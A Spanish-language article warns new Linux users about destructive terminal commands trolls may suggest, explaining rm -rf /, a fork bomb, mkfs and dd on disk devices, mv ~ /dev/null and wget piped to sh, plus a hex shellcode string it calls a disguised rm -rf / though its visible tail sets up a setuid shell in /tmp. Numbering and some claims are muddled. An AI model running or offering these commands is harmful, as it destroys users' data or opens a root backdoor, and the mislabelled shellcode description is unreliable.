Los comandos en la terminal de Linux son potentes, y Linux no te pedirá confirmación si ejecutas un comando que dañará tu sistema.
No es raro ver a los trolls en línea recomendando que los nuevos usuarios de Linux ejecuten estos comandos como una broma.
Aprender los comandos que no debes ejecutar puede ayudar a protegerte de los trolls mientras aumenta tu comprensión de cómo funciona Linux.
Esta no es una guía exhaustiva, y los comandos aquí se pueden mezclar de varias maneras.
Ten en cuenta que muchos de estos comandos solo serán peligrosos si tienen el prefijo sudo en Ubuntu; de lo contrario, no funcionarán.
En otras distribuciones de Linux, la mayoría de los comandos deben ejecutarse como root.
1. rm -rf / – ¡Elimina todo!
El comando rm -rf / elimina todo lo que puede, incluidos los archivos en tu disco duro y los archivos en dispositivos de medios extraíbles conectados. Este comando es más comprensible si se desglosa:
rm: elimina los siguientes archivos.
-rf: ejecutar rm de forma recursiva (elimina todos los archivos y carpetas dentro de la carpeta especificada) y obliga la eliminación de todos los archivos sin avisarte.
/ – Le dice a rm que comience en el directorio root, que contiene todos los archivos de tu computadora y todos los dispositivos multimedia montados, incluidos los recursos compartidos de archivos remotos y las unidades extraíbles.
Linux felizmente obedecerá este comando y eliminará todo sin preguntarte, ¡así que ten cuidado al usarlo!
El comando rm también se puede usar de otras formas peligrosas: rm –rf ~ eliminaría todos los archivos de tu carpeta de inicio, mientras que rm -rf.* Eliminaría todos tus archivos de configuración.
Lección: Cuidado con rm -rf.
2. rm –rf / – Camuflado
Aquí hay otro fragmento de código que está en toda la web:
1 2 3 4 5 6 7 8 9 10 11 |
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; |
Esta es la versión hexadecimal de rm –rf / – ejecutar este comando eliminaría tus archivos como si hubieras ejecutado rm –rf /.
Lección: no ejecutes comandos extraños, obviamente camuflados, que no entiendes.
2. :(){ :|: & };: – Bomba fork
La siguiente línea es una función bash de aspecto simple, pero peligrosa:
1 |
:(){ :|: & };: |
Esta línea corta define una función de shell que crea nuevas copias de sí mismo.
El proceso se replica continuamente, y sus copias se replican continuamente, ocupando rápidamente todo el tiempo y la memoria de tu CPU.
Esto puede hacer que tu computadora se congele. Básicamente es un ataque de denegación de servicio.
Lección: Las funciones Bash son potentes, incluso muy cortas.
4. mkfs.ext4 /dev/sda1 – Formatear un disco duro
El comando mkfs.ext4/dev/sda1 es simple de entender:
mkfs.ext4: Crea un nuevo sistema de archivos ext4 en el siguiente dispositivo.
/dev/sda1: Especifica la primera partición en el primer disco duro, que probablemente esté en uso.
En conjunto, este comando puede ser equivalente a ejecutar el format c: en Windows – borrará los archivos de tu primera partición y los reemplazará con un nuevo sistema de archivos.
Este comando también puede venir en otras formas: mkfs.ext3/dev/ sdb2 formatearía la segunda partición en el segundo disco duro con el sistema de archivos ext3.
Lección: Ten cuidado al ejecutar comandos directamente en dispositivos de disco duro que comienzan con /dev/sd.
5. command >/dev/sda – Escribir directamente en un disco duro
La línea command > /dev/sda funciona de manera similar: ejecuta un comando y envía la salida de ese comando directamente a tu primer disco duro, escribiendo los datos directamente en el disco duro y dañando tu sistema de archivos.
command: ejecuta un comando (puede ser cualquier comando).
> – Envía la salida del comando a la siguiente ubicación.
/dev/sda: escribe la salida del comando directamente en el dispositivo del disco duro.
Lección: Como lo mencioné anteriormente, ten cuidado con la ejecución de comandos que incluyen dispositivos de disco duro que comienzan con /dev/sd.
6. dd if=/dev/random of=/dev/sda – Escribir “basura” en el disco duro
La línea dd if=/dev/random of=/dev/sda también borrará los datos en uno de tus discos duros.
dd: realiza copias de bajo nivel de una ubicación a otra.
if=/dev/random: usa /dev/random (datos aleatorios) como entrada; también puede ver ubicaciones como /dev/zero (ceros).
of=/dev/sda – Salida al primer disco duro, reemplazando tu sistema de archivos con datos basura aleatorios.
Lección: dd copia datos de una ubicación a otra, lo que puede ser peligroso si estás copiando directamente a un dispositivo.
7. mv ~ /dev/null – Mueve tu directorio de inicio a un agujero negro
No es posible mover archivos y carpetas a /dev/null. Sin embargo, si generas o redirige datos útiles a /dev/null, serán descartados y destruidos.
/dev/null es otra ubicación especial: mover algo a /dev/null es lo mismo que destruirlo.
Piensa en / dev/null como un agujero negro. Esencialmente, mv ~ /dev/null envía todos tus archivos personales a un agujero negro.
mv: mueve el siguiente archivo o directorio a otra ubicación.
~ – Representa toda tu carpeta de inicio.
/ dev / null: Mueve tu carpeta de inicio a /dev/null, destruye todos tus archivos y elimina las copias originales.
Lección: el carácter ~ representa tu carpeta de inicio y mover cosas a /dev/null las destruye.
8. wget http://example.com/something -O – | sh – Descargar y ejecutar un script
La línea anterior descarga un script de la web y lo envía a sh, que ejecuta el contenido del script.
Esto puede ser peligroso si no estás seguro de cuál es el script o si no confías en su origen; no ejecutes scripts que no sean de confianza.
wget: descarga un archivo. (También puedes ver curl en lugar de wget).
http://example.com/something: descarga el archivo desde esta ubicación.
El | – Canaliza (envía) la salida del comando wget (el archivo que descargaste) directamente a otro comando.
sh: envía el archivo al comando sh, que lo ejecuta si es un script bash.
Lección: no descargues ni ejecutes scripts no confiables de la web, incluso con un comando.